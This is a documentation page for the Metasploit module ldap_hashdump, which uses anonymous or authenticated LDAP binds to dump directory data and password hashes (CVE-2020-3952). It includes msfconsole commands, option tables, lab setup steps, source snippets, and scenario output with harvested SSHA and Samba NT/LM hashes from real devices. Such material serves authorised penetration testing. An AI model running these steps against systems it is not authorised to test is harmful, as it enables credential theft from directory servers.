LDAP Information Disclosure - Metasploit


This page contains detailed information about how to use the auxiliary/gather/ldap_hashdump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: LDAP Information Disclosure
Module: auxiliary/gather/ldap_hashdump
Source code: modules/auxiliary/gather/ldap_hashdump.rb
Disclosure date: 2020-07-23
Last modification time: 2022-10-13 10:13:27 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 636
List of CVEs: CVE-2020-3952

This module uses an anonymous-bind LDAP connection to dump data from an LDAP server. Searching for attributes with user credentials (e.g. userPassword).

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/gather/ldap_hashdump
msf auxiliary(ldap_hashdump) > show options
    ... show and set options ...
msf auxiliary(ldap_hashdump) > set RHOSTS ip-range
msf auxiliary(ldap_hashdump) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(ldap_hashdump) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(ldap_hashdump) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(ldap_hashdump) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Description

This module uses an LDAP connection to dump data from LDAP server using an anonymous or authenticated bind. Searching for specific attributes it collects user credentials.

Setup

Tested in the wild.

You may eventually setup an intentionally insecure OpenLDAP server in docker. The below OpenLDAP server does not have any ACL, therefore the hashPassword attributes are readable by anonymous clients.

$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
$ cd bitnami-docker-openldap
$ docker-compose up -d
Creating bitnami-docker-openldap_openldap_1 ... done

msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389
RPORT => 1389
msf5 auxiliary(gather/ldap_hashdump) > options

Module options (auxiliary/gather/ldap_hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BASE_DN                     no        LDAP base DN if you already have it
   BIND_DN                     no        The username to authenticate to LDAP server
   BIND_PW                     no        Password for the BIND_DN
   PASS_ATTR  userPassword     yes       LDAP attribute, that contains password hashes
   RHOSTS     127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      1389             yes       The target port
   SSL        false            no        Enable SSL on the LDAP connection
   USER_ATTR  dn               no        LDAP attribute, that contains username


Auxiliary action:

   Name  Description
   ----  -----------
   Dump  Dump all LDAP data


msf5 auxiliary(gather/ldap_hashdump) >

msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against 127.0.0.1

[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=example,dc=org
[*] Dumping LDAP data from server at 127.0.0.1:1389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1
[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >

Verification Steps


Follow Setup and Scenarios.

Actions


Dump

Dump all LDAP data from the LDAP server.

Options


BASE_DN

If you already have the LDAP base DN, you may set it in this option.

USER_ATTR

LDAP attribute to take the user name from. Defaults to DN, however you may wish to change it UID, name or similar.

PASS_ATTR

LDAP attribute to take the password hash from. Defaults to userPassword, some LDAP server may use different attribute, e.g. unixUserPassword, sambantpassword, sambalmpassword.

Scenarios


Avaya Communication Manager via anonymous bind

msf5 > use auxiliary/gather/ldap_hashdump
msf5 auxiliary(gather/ldap_hashdump) > options

Module options (auxiliary/gather/ldap_hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BASE_DN                     no        LDAP base DN if you already have it
   PASS_ATTR  userPassword     yes       LDAP attribute, that contains password hashes
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      389              yes       The target port
   SSL        false            no        Enable SSL on the LDAP connection
   USER_ATTR  dn               no        LDAP attribute, that contains username


Auxiliary action:

   Name  Description
   ----  -----------
   Dump  Dump all LDAP data


msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]

msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]

[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]

[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt
[*] Searching for attribute: userPassword
[*] Taking uid attribute as username
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >

NASDeluxe - NAS with Samba LM/NTLM hashes

msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword
PASS_ATTR => sambantpassword
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]

msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]

[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=server,dc=nas
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt
[*] Searching for attribute: sambantpassword
[*] Taking uid attribute as username
[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634
[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B
[*] Auxiliary module execution completed

msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]

[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=server,dc=nas
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt
[*] Searching for attribute: sambalmpassword
[*] Taking uid attribute as username
[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE
[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the gather/ldap_hashdump auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/ldap_hashdump

msf6 auxiliary(gather/ldap_hashdump) > show info

       Name: LDAP Information Disclosure
     Module: auxiliary/gather/ldap_hashdump
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-07-23

Provided by:
  Hynek Petrak

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Available actions:
  Name  Description
  ----  -----------
  Dump  Dump all LDAP data

Check supported:
  No

Basic options:
  Name          Current Setting                                                                                                         Required  Description
  ----          ---------------                                                                                                         --------  -----------
  BASE_DN                                                                                                                               no        LDAP base DN if you already have it
  BIND_DN                                                                                                                               no        The username to authenticate to LDAP server
  BIND_PW                                                                                                                               no        Password for the BIND_DN
  MAX_LOOT                                                                                                                              no        Maximum number of LDAP entries to loot
  PASS_ATTR     userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword  yes       LDAP attribute, that contains password hashes
  READ_TIMEOUT  600                                                                                                                     no        LDAP read timeout in seconds
  RHOSTS                                                                                                                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         636                                                                                                                     yes       The target port
  SSL           true                                                                                                                    no        Enable SSL on the LDAP connection
  THREADS       1                                                                                                                       yes       The number of concurrent threads (max one per host)
  USER_ATTR     dn                                                                                                                      no        LDAP attribute(s), that contains username

Description:
  This module uses an anonymous-bind LDAP connection to dump data from 
  an LDAP server. Searching for attributes with user credentials (e.g. 
  userPassword).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-3952
  https://www.vmware.com/security/advisories/VMSA-2020-0006.html

Module Options


This is a complete list of options available in the gather/ldap_hashdump auxiliary module:

msf6 auxiliary(gather/ldap_hashdump) > show options

Module options (auxiliary/gather/ldap_hashdump):

   Name          Current Setting                                                                                                         Required  Description
   ----          ---------------                                                                                                         --------  -----------
   BASE_DN                                                                                                                               no        LDAP base DN if you already have it
   BIND_DN                                                                                                                               no        The username to authenticate to LDAP server
   BIND_PW                                                                                                                               no        Password for the BIND_DN
   MAX_LOOT                                                                                                                              no        Maximum number of LDAP entries to loot
   PASS_ATTR     userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword  yes       LDAP attribute, that contains password hashes
   READ_TIMEOUT  600                                                                                                                     no        LDAP read timeout in seconds
   RHOSTS                                                                                                                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         636                                                                                                                     yes       The target port
   SSL           true                                                                                                                    no        Enable SSL on the LDAP connection
   THREADS       1                                                                                                                       yes       The number of concurrent threads (max one per host)
   USER_ATTR     dn                                                                                                                      no        LDAP attribute(s), that contains username

Auxiliary action:

   Name  Description
   ----  -----------
   Dump  Dump all LDAP data

Advanced Options


Here is a complete list of advanced options supported by the gather/ldap_hashdump auxiliary module:

msf6 auxiliary(gather/ldap_hashdump) > show advanced

Module advanced options (auxiliary/gather/ldap_hashdump):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   LDAP::ConnectTimeout  10.0             yes       Timeout for LDAP connect
   ShowProgress          true             yes       Display progress messages during a scan
   ShowProgressPercent   10               yes       The interval in percent that progress should be shown
   VERBOSE               false            no        Enable detailed status messages
   WORKSPACE                              no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/ldap_hashdump module can do:

msf6 auxiliary(gather/ldap_hashdump) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------
   Dump  Dump all LDAP data

Evasion Options


Here is the full list of possible evasion options supported by the gather/ldap_hashdump auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/ldap_hashdump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

LDAP error <OPRES.CODE>: <OPRES.MESSAGE>


Here is a relevant code snippet related to the "LDAP error <OPRES.CODE>: <OPRES.MESSAGE>" error message:

64:	    @user_attr ||= 'dn'
65:	  end
66:	
67:	  def print_ldap_error(ldap)
68:	    opres = ldap.get_operation_result
69:	    msg = "LDAP error #{opres.code}: #{opres.message}"
70:	    unless opres.error_message.to_s.empty?
71:	      msg += " - #{opres.error_message}"
72:	    end
73:	    print_error("#{peer} #{msg}")
74:	  end

The timeout expired while reading naming contexts


Here is a relevant code snippet related to the "The timeout expired while reading naming contexts" error message:

106:	          # HACK: fix lack of read/write timeout in Net::LDAP
107:	          Timeout.timeout(@read_timeout) do
108:	            naming_contexts = get_naming_contexts(ldap)
109:	          end
110:	        rescue Timeout::Error
111:	          fail_with(Failure::TimeoutExpired, 'The timeout expired while reading naming contexts')
112:	        ensure
113:	          unless ldap.get_operation_result.code == 0
114:	            print_ldap_error(ldap)
115:	          end
116:	        end

<PEER> Falling back to an empty base DN


Here is a relevant code snippet related to the "<PEER> Falling back to an empty base DN" error message:

114:	            print_ldap_error(ldap)
115:	          end
116:	        end
117:	
118:	        if naming_contexts.nil? || naming_contexts.empty?
119:	          vprint_warning("#{peer} Falling back to an empty base DN")
120:	          naming_contexts = ['']
121:	        end
122:	      end
123:	
124:	      @max_loot = datastore['MAX_LOOT']

Server did not return any data, seems to be safe


Here is a relevant code snippet related to the "Server did not return any data, seems to be safe" error message:

148:	      end
149:	    end
150:	
151:	    # Safe if server did not returned anything
152:	    unless (entries_returned > 0)
153:	      fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')
154:	    end
155:	  rescue Timeout::Error
156:	    fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')
157:	  rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e
158:	    fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")

The timeout expired while searching directory


Here is a relevant code snippet related to the "The timeout expired while searching directory" error message:

151:	    # Safe if server did not returned anything
152:	    unless (entries_returned > 0)
153:	      fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')
154:	    end
155:	  rescue Timeout::Error
156:	    fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')
157:	  rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e
158:	    fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")
159:	  end
160:	
161:	  def ldap_search(ldap, base_dn, args)

Exception occurred: <E.CLASS>: <E.MESSAGE>


Here is a relevant code snippet related to the "Exception occurred: <E.CLASS>: <E.MESSAGE>" error message:

153:	      fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')
154:	    end
155:	  rescue Timeout::Error
156:	    fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')
157:	  rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e
158:	    fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")
159:	  end
160:	
161:	  def ldap_search(ldap, base_dn, args)
162:	    entries_returned = 0
163:	    creds_found = 0

<PEER> Host timeout reached while searching '<BASE_DN>'


Here is a relevant code snippet related to the "<PEER> Host timeout reached while searching '<BASE_DN>'" error message:

185:	              end
186:	            end
187:	          end
188:	        end
189:	      rescue Timeout::Error
190:	        print_error("#{peer} Host timeout reached while searching '#{base_dn}'")
191:	        return entries_returned
192:	      ensure
193:	        unless ldap.get_operation_result.code == 0
194:	          print_ldap_error(ldap)
195:	        end

<PEER> No entries returned for '<BASE_DN>'.


Here is a relevant code snippet related to the "<PEER> No entries returned for '<BASE_DN>'." error message:

196:	        if entries_returned > 0
197:	          print_status("#{peer} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.")
198:	          f.rewind
199:	          pillage(f.read, base_dn)
200:	        elsif ldap.get_operation_result.code == 0
201:	          print_error("#{peer} No entries returned for '#{base_dn}'.")
202:	        end
203:	      end
204:	    end
205:	    entries_returned
206:	  end

<PEER> Could not store LDAP data in loot


Here is a relevant code snippet related to the "<PEER> Could not store LDAP data in loot" error message:

223:	      nil, # filename
224:	      "Base DN: #{base_dn.gsub(/[^[:print:]]/, '')}" # info, remove null char from base_dn
225:	    )
226:	
227:	    unless ldif_filename
228:	      print_error("#{peer} Could not store LDAP data in loot")
229:	      return
230:	    end
231:	
232:	    print_good("#{peer} Saved LDAP data to #{ldif_filename}")
233:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Hynek Petrak

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.